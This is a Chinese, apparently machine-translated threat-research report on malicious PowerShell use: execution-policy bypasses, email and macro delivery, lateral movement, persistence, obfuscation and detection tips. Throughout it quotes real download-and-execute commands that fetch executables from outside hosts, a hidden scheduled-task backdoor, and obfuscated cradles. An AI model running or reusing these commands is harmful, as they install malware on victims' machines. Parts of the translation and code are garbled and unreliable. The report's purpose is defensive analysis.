powershell攻击方法研究

powershell攻击方法研究

执行摘要
在创建恶意软件时,攻击者越来越多地利用已存在于target上的工具来攻击计算机,因为Microsoft PowerShell默认安装在Windows计算机上,它是一个理想的攻击者工具链的候选项, 由于powershell使用较为灵活,并且检测更困难,因此被很多攻击者所喜爱。

PowerShell是一种功能强大的脚本语言和shell框架,主要用于Windows计算机。它已经存在了10多年,被许多系统管理员使用,并且将来将替换Windows上的默认命令提示符。PowerShell脚本经常用于合法的管理工作。它们也可以使用保护计算机免受攻击并执行分析。然而,攻击者也在来制造他们自己的威胁。在所有通过Blue Coat沙盒分析的PowerShell脚本中,95.4%是恶意的。我们看到了许多最近使用PowerShell脚本的有针对性的攻击。例如,Odinaf集团在攻击全球金融机构时使用了恶意的PowerShell脚本。普通网络罪犯也在利用PowerShell,比如特洛伊木马攻击者使用框架来创建完全包含在注册表中的无文件感染。恶意PowerShell脚本主要用作下载程序,如Office宏入侵阶段。第二个最常见的用途是在横向运动阶段,允许在网络中传播时,在远程计算机上执行代码的威胁。PowerShell 可以直接在内存中下载和执行命令,这使得取证专家很难做到追踪感染情况。由于PowerShell的特性,此类恶意脚本很容易混淆,因此不可靠使用静态签名或共享文件哈希检测。我们的分析显示,目前许多攻击者混淆了他们的PowerShell威胁;只有8%的活跃威胁家族使用PowerShell时使用了模糊处理。有人可以说,他们不需要混淆他们的威胁
然而,太多的默默无闻可能会引起怀疑。超过55%的PowerShell脚本是从命令行执行的。Windows提供试图阻止恶意PowerShell脚本启动的执行策略。然而,这些策略是无效的,攻击者很容易绕过它们。目前组织中PowerShell恶意软件的检测率很低。更复杂的检测需要使用方法和更好的日志记录来应对PowerShell威胁。不幸的是,默认情况下,大多数系统没有启用完整的日志记录,因此当一个漏洞发生时很难执行溯源分析。强烈建议系统管理员升级到的最新版本并启用扩展的日志记录和监视功能。

主要发现
1、许多目标攻击组织已经使用了PowerShell在他们的攻击链中
2、攻击者主要使用PowerShell作为下载程序用于侧向运动
3、默认情况下,在Windows上默认安装了PowerShell,使用powershell计算机会留下很少的分析痕迹,如框架可以直接从记忆TT
4、一般情况下公司或组织通常不会在他们的计算机上开启监视和扩展日志记录,使PowerShell威胁更难检测
5、通过沙箱分析发现,95.4%的PowerShell脚本是恶意的
6、目前,大多数攻击者不使用模糊处理PowerShell威胁。只有百分之八的威胁家族实现了模糊处理
7、在分析的PowerShell脚本中,有55%是通过命令提示符执行的,
8、最常见的PowerShell恶意软件是W97M.Downloader下载器变体,占9.4%
9、这些类型的威胁最常用的PowerShell命令行“NoProfile”执行(34%),其次是“WindowsStyle”(24%)和“ExecutionPolicy”(23%)

简介
什么是POWERSHELL?
PowerShell是一个基于.NET的框架。它提供了一条命令行shell和一种用于自动化和管理的脚本语言任务。PowerShell提供对系统功能的完全访问,如Windows Management Instrumentation(WMI)和组件对象模型(COM)对象。除此之外,它还有管理层许多其他功能的功能,如MicrosoftExchange服务器、虚拟环境(如VMware或Linux)环境。该框架在2016年成为开源的,并且也可用于非Windows平台。
PowerShell的大部分扩展功能都在cmdlet中(命令行),实现特定的命令。cmdlet遵循动词-名词命名模式。例如,获取项目以及来自指定位置的子项,用户将输入命令Get ChildItem。cmdlet通过管道接受输入并返回对象或对象组。其他cmdlet或可以导入模块来扩展PowerShell的功能使用Import-Module cmdlet。
PowerShell还支持受限运行空间的概念,可以实现它来限制用户只执行远程终结点上的白名单命令。受限运行空间还可以指定白名单上的命令通过某个用户帐户执行。但是,取决于使用的命令、受限的运行空间可能仍然容易受到影响指挥注入攻击。
PowerShell脚本的扩展名是.ps1,但是是独立的可执行文件也存在。Windows提供了一个书写界面测试称为PowerShell集成脚本的脚本环境(ISE)。第三方开发框架支持PowerShell。

PowerShell集成脚本环境:

PowerShell默认情况安装在Windows上

PowerShell的前身Monad于6月发布,2005Windows的新版本已经包括默认情况下,PowerShell脚本环境。旧版本
对于大多数操作系统,可以通过手动安装相应的框架。

默认情况下在Windows的每个版本上安装的PowerShell版本

为什么攻击者要使用POWERSHELL?
PowerShell提供了对操作系统的管理。PowerShell的多功能性使它成为任何目的的理想候选人,无论用户是一个防御者或者袭击者。对攻击者的好处已经在各个方面进行了讨论,安全研究人员大卫的演讲肯尼迪和乔希·凯利在2010年的第18届会议上。2011年,马特Graeber发布了PowerSyringe,它允许轻松DLL和通过PowerShell向其他进程注入外壳代码。这项研究进一步鼓励了渗透测试人员的发展使用攻击性的PowerShell脚本。几乎每个任务都有PowerShell脚本,从创建读取密码的网络嗅探器。一些威胁,比如作为特洛伊木马,如果它没有安装在受损计算机上,甚至尝试下载PowerShell框架。

攻击者使用PowerShell

1、默认情况下,它安装在所有新的Windows计算机上。
2、它可以直接从内存执行有效负载,使其更加的隐蔽。
3、默认情况下,它生成的痕迹很少,因此很难取证分析。
4、默认情况下,它具有远程访问功能,并且加密传输。
5、作为一个脚本,它很容易混淆,使用传统的安全工具很难检测到。
6、防守队员在强化自己的防守时往往忽视了powershell威胁。
7、它可以绕过应用程序白名单工具,具体取决于配置。
8、许多网关沙盒不处理基于脚本的恶意软件。
9、它有一个不断增长的社区,有现成的脚本。
10、许多系统管理员使用并信任powershell框架,允许PowerShell恶意软件与日常行政工作。

powershell变得流行
世界各地的系统管理员使用PowerShell管理他们的电脑,但我们也看到了攻击者越来越多地使用框架。2016年,49127个PowerShell脚本已提交到Symantec Blue Coat恶意软件分析沙盒。我们发现95.4%的脚本是恶意的。
在所有这些PowerShell脚本中,我们在命令行手动分析了4782个。所分析的样本共有111个恶意软件家族使用PowerShell命令行。这个最流行的恶意软件是W97M.Downloader,它是负责所有分析样品的9.4%。Kotver第二,占4.5%,以及JS.Downloader第三,百分之四。powershell活动的增加使我们看到框架使用量的稳步增长。

一个powershell攻击的不同阶段

本节将讨论不同的PowerShell攻击的阶段,如何使用powershell渗透攻击目标,防范powershell攻击面临的哪些挑战。

执行策略
默认情况下,Microsoft限制PowerShell脚本的执行政策。可以为每个选项设置五个选项用户或计算机。
1、Restricted 受限
2、AllSigned 所有签名
3、RemoteSigned 远程签名
4、Unrestricted 无限制
5、Bypass 绕过

这些不是作为一个安全功能设计的,而是为了防止用户意外执行脚本。尽管如此,这些政策有助于防止社会工程运动从欺骗用户运行恶意脚本。当用户启动一个.ps1脚本,它将在记事本中打开,而不是正在被处决。
默认的执行策略设置是受限制的,使用Windows Server 2012 R2是远程的例外-签署。受限策略只允许交互式PowerShell,不管脚本在哪里,会话和单个命令来自或是否经过数字签名和信任。
组织可能在其环境中使用不同的策略根据他们的需要。策略可以设置为作用域,如MachinePolicy、UserPolicy、Process、CurrentUser或本地计算机。Microsoft提供了有关如何为每个作用域设置执行策略。但是,攻击者可以使用一些方法绕过执行策略。最常见的是:
1、通过管道将脚本导入父进程,这样与echo或type命令一样。
示例:TYPE myScript.ps1 | PowerShell.exe -noprofile -
2、使用命令参数执行单个命令。这将从执行策略中排除它。命令可以下载并执行另一个脚本。
示例:powershell.exe -command “iex(New-Object Net.WebClient).DownloadString(‘http://[REMOVED]/myScript.ps1’)”
3、使用EncodedCommand参数执行单个Base64编码的命令。这将从执行策略排除命令。
示例:powershell.exe -enc [ENCODED COMMAND]
4、使用执行策略指令并传递“Bypass ”或“Unrestricted ”作为论据。
示例:powershell.exe -ExecutionPolicy bypass -File myScript.ps1
5、如果攻击者可以访问交互式PowerShell会话,然后他们可以使用其他方法,比如Invoke命令或者简单地将脚本剪切并粘贴到活动会话中。如果攻击者可以在受损计算机上执行代码,很可能他们可以修改注册表中的执行策略,
存储在以下子项下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

脚本执行
在大多数情况下,PowerShell脚本都是在攻击后使用的作为额外有效载荷的下载者。而限制执行策略阻止用户运行powershell-扩展名为.ps1的Shell脚本,攻击者可以使用其他允许执行脚本的扩展。
PowerShell接受命令行标志的列表。在大多数情况下,恶意脚本使用以下参数来逃避检测绕过当地的限制。
-NoP/-NoProfile(忽略配置文件中的命令)
-Enc/-encoded命令(运行Base64编码的命令)
-W Hidden/-WindowStyle Hidden(隐藏命令窗口)
-Exec bypass/-ExecutionPolicy bypass(忽略执行策略限制)
-NonI/-NonInteractive(不要运行交互式shell)
-C/-Command(运行单个命令)
-F/-File(从指定文件运行命令)

因为PowerShell会自动将“*”字符附加到flag参数,很多flag关键字缩写都是可能的。
例如,不使用–EncodedCommand,用户可以input-enco或-encodedc,因为它们都是可互换的。这个很难自动识别,命令行在做模式的时候应该记住匹配。
到目前为止,我们还没有在攻击中使用版本参数,这会让攻击者降低计算机的功率-一个旧版本的Shell实例更新版本,例如“-version 2.0”。我们也没见过恶意使用PSConsoleFile命令,加载指定的PowerShell控制台文件。
在恶意PowerShell脚本中,最常用的命令行上的命令和函数包括:
(New-Object System.Net.Webclient).DownloadString()
 (New-Object System.Net.Webclient).DownloadFile()
-IEX / -Invoke-Expression
Start-Process

这个系统.NetWebclient类用于向或接收数据来自远程资源的数据,这对于大多数威胁都是必不可少的。该类包括DownloadFile方法,该方法可以下载内容从远程位置到本地文件并下载-从远程位置下载内容的字符串方法
到内存中的缓冲区。下载和执行远程文件的典型命令如下所示:
powershell.exe (New-Object System.Net.WebClient).DownloadFile(\(URL,\)LocalFileLocation);Start-Process $LocalFileLocation

webclientapi方法DownloadString和DownloadFile不是唯一可以从远程位置。Invoke-WebRequest,BitsTransfer,Net.Sockets.TCPClient,以及更多类似的方法,但是WebClient是目前最常用的一种。一旦有效负载被下载或消除混淆,脚本通常使用另一个方法来运行附加代码。有多种方法可以从powershell开始一个新的过程。最常用的方法是调用表达式然后开始这个过程。调用表达式允许用户计算动态生成并运行任何命令。这种方法是通常用于直接下载到内存。
我们也看到了使用Invoke-WMIMethod和New-Service,或创建一个新的COM对象为WScript或执行有效负载的shell应用程序。此命令看起来如下所示:
(New-object -com Shell.Application).ShellExecute()

攻击者还可以直接调用外部函数,如Create-Thread或drop batch files以执行它们。例如,我们有看到威胁使用System.Diagnostics.ProcessStartInfo对象来创建新的后台进程。
如前所述,PowerShell可用于加载和直接从内存运行任何PE文件。大多数脚本重用ReflectivePEInjection模块,于2013年推出。最常用的有效负载之一是密码转储工具。

以下示例显示了常见的PowerShell下载程序在野外遇到的调用:
powershell -w hidden -ep bypass -nop -c“IEX ((New-Object System.Net.Webclient).DownloadString(‘http://pastebin.com/raw/[REMOVED]’))”

powershell.exe -window hidden -enc KABOAG[REMOVED]

Cmd.exe /C powershell \(random = New-Object System.Random; Foreach(\)url in @({http://[REMOVED]academy.com/wp-content/themes/twentysixteen/st1.exe},{http://[REMOVED].com.au/wp-content/plugins/espresso-social/st1.exe},{http://[REMOVED].net/wp-includes/st1.exe},{http://[REMOVED]resto.com/wp-content/plugins/wp-super-cache/plugins/st1.exe},{http://[REMOVED].ru/wp-content/themes/twentyeleven/st1.exe})) { try{ \(rnd =\)random.Next(0, 65536); $path = ‘%tmp%\’+ [string] \(rnd + ‘.exe’; (New-Object System.Net.WebClient).DownloadFile(\)url.ToString(), $path);Start-Process \(path; break; } catch { Write-Host\)error[0].Exception } }

cmd.exe /c poweRSheLL.eXe-executIonPOLIcY ByPaS^s -nOProfILe-WIndoWSTYLe HiDdeN (new-OBJec^T SYSTeM.NeT.weBcLienT).DoWnloaDfiLe(http://www.[REMOVED].top/user.php?f=1.dat’,’%USERAPPDATA%.eXe’);sTarT-PROcesS^ ^%USERAPPDATA%.exe

powershell.exe iex $env:nlldxwx

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command “Invoke-Expression \((New-Object IO.StreamReader (\)(New-Object IO.Compression.
DeflateStream (\((New-Object IO.MemoryStream (,\)([Convert]::FromBase64String(\”[REMOVED]\” )))),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd();”

powershell.exe -ExecutionPolicy Unrestricted -File“%TEMP%\ps.ps1”

PowerShell威胁如何使用标志

为了了解某些标志的使用频率,我们分析了穿过我们沙箱的样本。我们发现了为三分之一的样本设置了NoProfile标志。将近一半(48%)的样本使用“iex”$环境:随机名称”;这是因为Kotver恶意软件在这段时间内分析过的样本。这种威胁
family使用此环境变量来隐藏脚本命令行记录器。
23%的样本使用了DownloadFile函数在第一层。有些脚本有多个Base64编码层数,在本次分析中未计算在内。函数DownloadString的使用率不到百分之一案件数量。大约89%的人使用“bypass”,11%的人使用“Unrestricted”作为参数与ExecutionPolicy结合使用。几乎所有被分析的恶意软件家族都有不随机化不同样本的标志顺序。

电子邮件载体
电子邮件是PowerShell最常见的传递方式之一。我们观察到了带有.zip档案的垃圾邮件包含带有恶意PowerShell脚本的文件。这些文件具有以下扩展名:
.lnk
.wsf (Windows Script file)
.hta
.mhtml
.html
.doc
.docm
.xls
.xlsm
.ppt
.pptm
.chm (compiled HTML help file)
.vbs (Visual Basic script)
.js (JavaScript)
.bat
.pif
.pdf
.jar

在过去的六个月里,电子邮件附件类型中JavaScript被屏蔽得最多。我们平均每天阻止了466028封使用恶意JavaScript的电子邮件。第二个被阻止最多的文件类型为.html,后跟.vbs和.doc文件。所有这些文件类型可以直接或间接的调用powershell。
如果用户打开附加文件,则PowerShell脚本启动。某些文件类型,如.lnk和.wsf,可以直接执行PowerShell。其他的,比如.hta,运行一个JavaScript或VBScript删除并执行PowerShell有效负载。命令解释程序,WScript,CScript、MShta或WMI是用于执行的常用方法PowerShell脚本。附加到电子邮件的存档文件可能受密码保护绕过网关安全工具。包括密码在邮件正文中。攻击者使用社会工程学欺骗用户打开附件并启用内容。我们分析了之前没有被阻止的PowerShell脚本,例如通过入侵防御系统(IPS)签名或垃圾邮件阻止程序。这些脚本是在并试图运行。总的来说,赛门铁克的行为保护在中观察到10797个PowerShell脚本执行。总的来说,55%的脚本发射开始于命令行.exe在命令行上。如果我们只统计恶意脚本,然后这个统计上升到95,需要注意的是,大多数宏下载者都应该被阻止在目标计算机上执行之前甚至不能达到我们的行为探测引擎会遇到并阻止它们。

这两个调用父文件执行恶意PowerShell脚本的比例

调用父文件排名的脚本仅限PowerShell脚本的比例

使用PowerShell的威胁示例是JS.Nemucod下载了洛克勒索软件的变种(Ransom.Locky). 威胁来自垃圾邮件包含.wsf文件的.zip附件。大量这些邮件是在2016年7月发出的;赛门铁克阻止了更多的邮件每天有超过130万封邮件用于一个单一的竞选活动。wsf文件使用加密的JavaScript来下载有效载荷。这些文件还利用了条件编译技巧(@cc_on),这是用于Internet Explorer的JScript中的一个功能。由于许多安全扫描程序不知道@cc_on的标签,因此,将其解释为注释并忽略代码未能发现威胁。这场运动的幕后黑手改变了10月初通过发送带有.lnk文件的电子邮件。这个电子邮件声称附件是一张发票并使用社会工程学科。曾经的依恋执行后,它运行PowerShell命令来下载勒索软件到临时文件夹并执行它。以下内容是此PowerShell命令的示例:
powershell.exe -windowstyle hidden (new-object System.Net.WebClient.DownloadFile(‘http://[REMOVED]’,’%Temp%[RANDOM].exe’);Start-Process‘%Temp%[RANDOM].exe’

在10月底,我们观察到战术的又一次转变到JavaScript。我们用JavaScript阻止了多个垃圾邮件运行附件,最近有163万封被封邮件竞选日。一般来说,攻击者在他们竞选的封杀率提高了。

office宏
另一种常见的感染方法是使用恶意宏办公室文件,在2016年卷土重来。攻击者使用社会工程电子邮件诱使用户并在附件中执行宏。恶毒的宏通常执行一些测试来验证它是否正在办公电脑上而不是安全研究人员的虚拟机上。它可以通过运行Application.RecentFiles.Count打电话,检查最近打开的文件。一旦宏验证计算机,它会删除另一个可以成为PowerShell脚本。不幸的是,这种行为本身就不是恶意的,因为我们已经看到合法的宏执行良性脚本。此外,宏代码不需要包含
恶意脚本。我们看到表中存储了恶意脚本的单元格或元数据。然后宏代码读取这些数据并运行它,例如从author属性字段运行它,如下所示:
Author: powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.0.42:80/a’))”

这是另一个宏读取Author属性字段的例子,只有更模糊:
Author: PoWErShELL -EXeCUTIo BYpasS -wIndOWSTy HiDDEN -nolOgO -NOe -NoNiNTer -noPrOFil -COmm “ . ( \”{0}{1}\”-f’I’,’EX’) ( ( &( \”{0}{1}{2}\”-f‘new’,’-o’,’bject’ ) ( \”{0}{2}{1}{3}\”-f’net’,’n’,’.webclie’,’t’) )…

恶意宏可能使用选项,然后将脚本的其余部分写入标准输入(标准输入)。因此,一些检测工具可能不会注意到完整的脚本。骗子也可能会发送添加PowerShell的.reg文件有效负载到注册表,以便它将在某个触发器,例如计算机重新启动时。为了让这个成功用户必须忽略尝试时出现的警告打开.reg文件。攻击者也可以使用“regedit.exe/s“从另一个进程静默导入有效负载。到目前为止我们还没有看到这些技术被使用,作为普通的方法工作。
利用漏洞工具包也一直在用PowerShell进行试验。最近,我们看到了Rig,,Neutrino,Magnitude,和利用Microsoft Internet的Sundown漏洞工具包Explorer脚本引擎远程内存损坏漏洞(CVE-2016-0189)。这些攻击会影响JScript中的一个缺陷和VBScript引擎在internet explorer中执行代码。一些活动使用了PowerShell脚本而不是VBScript下载并执行文件。以下是这个脚本。
set shell=createobject(“Shell.Application”)
shell.ShellExecute “powershell.exe”, “-nop -w hidden -c if(IntPtr]::Size -eq 4){b=’powershell.exe’}else{\(b=\)env:windir+’\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe’};
\(s=New-Object System.Diagnostics.ProcessStartInfo;\)s.FileName=\(b;\)s.Arguments=’-nop -w hidden -c Import-Module BitsTransfer;Start-BitsTransfer “ &nburl&”c:\”&nbExe&”;Invoke-Item c:\”&nbExe&”;’;\(s.UseShellExecute=\)false;\(p=[System.Diagnostics.Process]::Start(\)s); “,””,”open”,0

在大多数情况下,漏洞利用工具包不会通过更改而获得真正的好处。因此,他们目前不太可能使用PowerShell。但是,如果一个网站命令注入漏洞,攻击者可以利用在web服务器上执行PowerShell命令的缺陷然后妥协。

横向运动
有多种方法可用于在远程Windows计算机上的命令中运行PowerShell。这些技巧允许攻击者在整个企业环境进行中横向攻击移动。攻击者经常横越查找有价值的系统的网络,如邮件或数据库服务器,这取决于他们的最终目标。他们可以使用凭据
从其他系统上的一台初始受损的计算机,直到他们以更高的权限获得对帐户的控制权。权力-在远程计算机上运行的Shell命令可能并不总是是恶意行为的征兆。系统管理员使用这些方法在其托管服务器上执行更改。侧向移动的方法取决于计算机的配置
以及用户的权限。攻击者也可能需要修改Windows防火墙的设置,用户帐户控件(UAC)、DCOM或公共信息模型对象(CIMOM)。以下部分讨论了野外常见的侧向运动方法。
Invoke-Command
Enter-PSSession
WMI/wmic/Invoke-WMImethod
Profile injection
Task Sheduler
Common tools e.g. PsExec

Invoke-Command
PowerShell脚本可以用在远程计算机上运行Invoke命令的帮助,例如:
Invoke-Command -ComputerName $RemoteComputer -ScriptBlock {Start-Process ‘C:\myCalc.exe’} -credential (Get-Credential)
用户可以将参数提供给多个远程计算机并在多台计算机上并行执行该命令。这个新线程将在签名WsmProvHost.exe起源过程。一旦子进程结束,WsmProvHost这个过程也会结束。

Enter-PSSession
远程PowerShell是另一个交互式选项,使用PSSession命令的会话。然后用户可以通过此会话远程执行命令。他们可以对交互式shell或新PSSession使用Enter PSSession要创建新的后台会话:
Enter-PSSession -ComputerName 192.168.1.2 -Credential $credentials

远程运行PowerShell会话(和WMI)取决于Windows远程管理(WinRM)服务。特色必须通过Enable PSRemoting–Force手动启用或组策略。可以限制可用命令通过受约束的运行空间。

WMI
WMI可用于在远程计算机上运行应用程序。这个不仅限于PowerShell脚本,而且由于应用程序在大多数Windows计算机上都存在,很容易利用为此目的。典型的命令请求看起来像以下内容:
([WMICLASS]”\\(IP\ROOT\CIMV2:win32_process”).Create(\)Command2run)

WMI命令行工具使用的方法与好。
wmic /NODE:[SERVER NAME] process call create“powershell.exe -Enc ‘[PAYLOAD]‘”

此外,PowerShell支持WMI对象,允许脚本直接使用WMI的功能而不需要调用外部命令行。
Get-WmiObject -Namespace “root\cimv2” -Class Win32_Process -Impersonation 3 -Credential MYDOM\administrator -ComputerName $Computer

Profile注入
如果攻击者具有对任何PowerShell配置文件的写入权限在远程计算机上,他们可以将恶意代码添加到他们。此方法仍需要触发恶意脚本的通过启动PowerShell执行,但在某些环境中,定期执行管理任务执行脚本。

其他方法
其他策略包括使用系统或公共工具,例如任务调度程序或来自Microsoft的PsExec。为了使用PsExec或者在安装远程计算机时,攻击者通常需要来自用户的有效凭据。最常见的方法是详细信息是使用Mimikatz工具转储本地密码。
这个工具有很多PowerShell实现,用于示例Invoke-Mimikatz cmdlet。

流行性
最常见的网络罪犯和一些目标攻击者通过创建一个持续加载点,在打开窗口时重新启动后门重新启动。在某些复杂的因为攻击者可能决定只运行他们的威胁在内存中短时间内或使用窃取的凭据以后重新访问计算机。但是总的来说,
装载点是调查的良好起点。每次Windows都有很多方法来执行代码重新启动。最常见的与PowerShell相关的是:
1、注册表:攻击者可以将整个脚本存储在登记,使感染无文件。因为没有磁盘上普通的脚本文件,威胁很难检测到。注册表运行键是最常见的加载点,但是其他加载点(如服务)也可以工作。有通过访问注册表,攻击者可以设置执行策略,因为它存储在注册表中。
2、计划任务:可以创建一个新任务,它将在特定触发器处执行PowerShell命令瞬间。例如:
schtasks /create /tn Trojan /tr “powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c ‘IEX ((new-object net.webclient).downloadstring(‘’[REMOVED]’’))’” /sconstart /ru System
3、启动文件夹:放在启动程序中的一个小脚本文件文件夹可用于持久性。
4、WMI:WMI可用于本地或远程执行脚本。结合使用更强大用PowerShell。攻击者可以为任何并创建一个使用者方法来触发这些事件的恶意脚本。有关WMI威胁的更多信息,阅读research paper这篇黑帽研究论文。
5、组策略(GPO):可以使用GPO添加负载指向后门PowerShell脚本。这可能是通过修改现有的政策以秘密的方式实现。
6、感染本地配置文件:攻击者可以将恶意代码放入六个可用的PowerShell配置文件中的任何一个,或创建拥有。当PowerShell启动时将执行该代码。在感染了PowerShell,触发了一个良性命令脚本可以放在前面讨论过的任何负载中积分。

Poweliks
注册表运行键最突出的例子之一坚持就是特洛伊。Trojan.Poweliks从2014年开始-Shell来创建无文件持久加载点。在这之后,Trojan.Kotver木马开始使用类似的伎俩当今最活跃的威胁。Poweliks创建一个带有非ASCII字符的注册表运行键
作为一个名字。这会阻止普通工具显示这个值。该威胁还会修改访问权限,使钥匙很难取下。注册表项使用合法的rundll32.exe执行嵌入注册表项中的小JavaScript。JavaScript使用WScript对象从另一个对象解密PowerShell脚本注册表项并运行它。PowerShell加载看门狗DLL以及其他有效载荷。这些技术让波威利克人留下来在计算机上活动而不在磁盘上写入公共文件,这会让它暴露在传统安全系统的检测之下工具。

Poweliks持久性执行链

混淆
脚本很容易混淆。简单随机变量名字符串连接通常足以愚弄基本的静态签名匹配。有了PowerShell,攻击者可以使用许多模糊处理技巧。

Daniel Bohannon在2016年德比大会上发表了模糊处理的方法。他还创建了模糊处理模块,调用模糊处理,这会使大多数方法自动化。下面是一些讨论过的混淆的列表方法:
1、可以使用大小写混合字母,如命令不区分大小写。
2、示例:(neW-oBjEct system.NeT.WeBclieNT).dOWNloadfiLe
3、“Get-”可以省略,因为它会自动添加到命令(如果未指定)。
4、例如:Get-Command与Command相同。
5、“System.”可以省略,因为它是自动添加的对象(如果未指定)。
6、示例:System.Net.Webclient与Net.WebClient相同。
7、 字符串可以串联,包括来自变量,允许单引号或双引号。
8、 示例:(New-Object Net.WebClient).DownloadString(“ht”+’tp://’+$url)
9、可以在命令的各个部分插入空格。。
10、示例:( New-Object Net.WebClient ).DownloadString( \(url) 11、可以使用多个命令执行类似的操作。 12、例如:DownloadString可以被OpenRead或Invoke-WebRequest替换 13、 变量可以设置为对象,然后在命令中使用。 14、示例:\)webcl=New-Object Net.Webclient; \(webcl.DownloadString(\)url)
15、成员参数可以用单引号或双引号括起来。
16、 示例:“DownloadFile”。
17、使用 反引号() 不会改变结果。类似的技巧如可以在从cmd启动PowerShell时使用(^). 18、示例:(new-object net.webclient).”downloadstrin`g”(\(url) 19、Get-Command可用于搜索命令和返回可以用&或调用的对象。 20、示例:&(Get-Command New-Ob*) 21、许多命令都有可以使用的别名。 22、示例:GCM而不是Get-Command 23、 Pipes |可用于更改命令上的顺序行。 24、可以使用Invoke()替代Invoke-Command。 25、示例:(New-Object Net.WebClient).DownloadString.invoke(\)url)
26、有些参数可以用数值替换。
27、示例:“-window hidden”可以用“-window 1”替换。
28、旧语法可以在PowerShell 1.0中使用。
29、示例:脚本块转换
30、字符串可以替换为编码字符串(hex、ASCII,八进制)
示例:[char]58 for “:”
31、可以应用字符串操作。例如,替换垃圾字符,在任意分隔符上拆分,倒换两次琴弦
示例:(New-Object Net.WebClient).Downloadstring((“http://myGoodSite.tld” -replace“Good” “attacker”))
32、字符串可以使用“-f”运算符格式化
示例:(New-Object Net.WebClient).Downloadstring((“http://{2}{1}”-f ‘no’,’.TLD’,’myAttackerSite’))
33、字符串可以压缩/压缩和编码/解码,例如使用Base64 UTF8。
34、字符串可以加密,例如使用XOR。

2010年,日本的一位研究人员用这些方法写了一篇Hello World脚本完全脱离符号,主要依赖于动态调用表达式。这说明了如何混淆会使脚本更加神秘。
图4:用符号书写的Hello World脚本:

这些方法可以组合并递归应用,从而生成在命令行上被严重混淆的脚本。与任何模糊处理方法一样,可以应用多个分析前需要处理的模糊程度可以启动。因此,纯字符串匹配无法检测到所有恶意脚本。如果脚本阻塞日志和模块如果启用了日志记录,则某些混淆将在记录命令之前删除。
下面是一个模糊命令行的示例,由自动攻击工具生成。它使用^转义符模糊字符cmd.exe命令行和使用了大小写字母、额外空白符进行混淆。命令行参数的名称和顺序是始终相同,允许将其顺序映射到特定的工具。
%SYSTEM%\cmd.exe /c poWerSheLL.exe -eXecutio^nPOlIcy ByPasS^ -noprOfil^e -wINdOWstyLe hIdden^ (new-OBJect^ sYStem.net.weBclient).downloadfIle(’http://[REMOVED]/user.php?f=1.dat’,’%USERAPPDATA%.eXe’);Start-PROceSS^ %USERAPPDATA%.eXe
应该指出的是,在111个使用PowerShell中,只有8%的人使用了诸如混合大小写字母。我们在2014年遇到的一个例子是后门。Backdoor.Trojan从简单的PowerShell Base64 EncodedCommand启动的变量。然后压缩脚本在第一阶段中出现并执行它的块调用表达式。这又生成了一个使用编译并执行命令动态嵌入代码。编译后的代码将尝试以挂起状态执行rundll32.exe,注入恶意代码并重新启动rundll32线程。这三个层次的混淆需要在之前解开执行最终有效载荷。

ANTI-OBFUSCATION(抗混淆)
执行时,大多数恶意PowerShell脚本都使用ExecutionPolicy和NoProfile参数。这些指标是在您的环境中查找恶意脚本的良好起点。而不是搜索ExecutionPolicy关键字,在PowerShell命令中搜索“bypass””和“unrestricted”。在大多数情况下,如果脚本做了混淆,很可能是一个恶意脚本,作为系统管理员在日常工作中很少混淆他们的脚本。虽然很多混淆可能会愚弄自动分析工具,对于一个观察力很强的安全分析员来说,这很有吸引力。一些工具能够标记脚本。PowerShell本身有一个很好的标记化方法来分解进一步分析。这项技术可以更进一步;Lee Holmes讨论了如何使用频率命令,特别是特殊的字符,以及PowerShell脚本本身可以用于发现混淆。例如,反引号(`)或大括号表示命令可能被做了混淆。如果启用了扩展日志,则大多数字符串混淆将在记录之前删除。然而,这种情况发生了,因此恶意脚本可能已经执行在被发现之前。建议采用积极主动发现的方法和建议进行日志监控。

伪装脚本
有多种技巧允许PowerShell脚本执行时不直接使用父进程. 这些技巧可以愚弄安全工具来阻止基于使用powershell.exe或者黑名单系统父进程。主要的两种方法与.NETFramework一起工作(如所用通过nps和Powerpick)或使用单独的运行空间(如
p0wnedshell和PSattack)。有各种各样的工具,比如PS2EXE,它创建一个独立的可执行文件来运行在.NET对象的帮助下编写PowerShell脚本。另一种技术涉及良性工具MSBuildShell,它将.NET中的MSBuild工具与系统管理.Automation”函数来创建PowerShell实例。MSBuildShell可以使用以下命令启动PowerShell实例命令行:
msbuild.exe C:\MSBuildShell.csproj

其他攻击者试图通过添加合法的像ping这样的命令进入执行链。这些垃圾命令也会延迟有效负载的执行。例如,在下载程序中可以看到以下命令行脚本:
%SYSTEM%\cmd.exe /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile(‘http://[REMOVED]/wp-admin/f915df4a50447.exe’,’%USERAPPDATA%cNZ49.exe’); stARt-ProcEss ‘%USERAPPDATA%cNZ49.exe’

恶意脚本也可以使用echo和type命令,并将内容发送到管道,甚至将有效负载复制到记事本或者是剪贴板。然后脚本使用另一个实例来从这些位置执行有效载荷。这些行动会中断执行链,因为它不是同一个PowerShell实例最终有效载荷的运行。攻击者通常使用模块化混淆纯粹基于行为的检测措施的方法,因为恶意行为传播到多个进程中。也可以从PowerShell内部自动化其他应用程序。例如,脚本可以使用COM对象或SendKeys强制另一个应用程序执行网络连接。例如,PowerShell脚本可以创建Internet Explorer COM对象并使其检索URL。这个然后可以将该网页的内容的一部分加载到脚本中执行。日志将显示标准浏览器建立一个网络连接,这看起来并不可疑。
攻击者用来避免启动powershell.exe的另一种常见方法是将脚本存储在环境变量中然后从变量调用脚本。特洛伊木马广泛地使用此方法。在很多情况下,脚本文件可能无法执行。例如:
cmd.exe /c “set myName=[COMMAND] && powershell IEX $env:myName”
如果攻击者无法控制脚本的执行方式,则脚本一旦开始执行可能会尝试隐藏窗口。甚至脚本窗口对于在这段时间可能会被忽视。一个例子脚本如下:
Add-Type -Name win -MemberDefinition‘[DllImport(“user32.dll”)] public static extern bool ShowWindow(int handle, int state);’ -Namespace native
[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle,0)
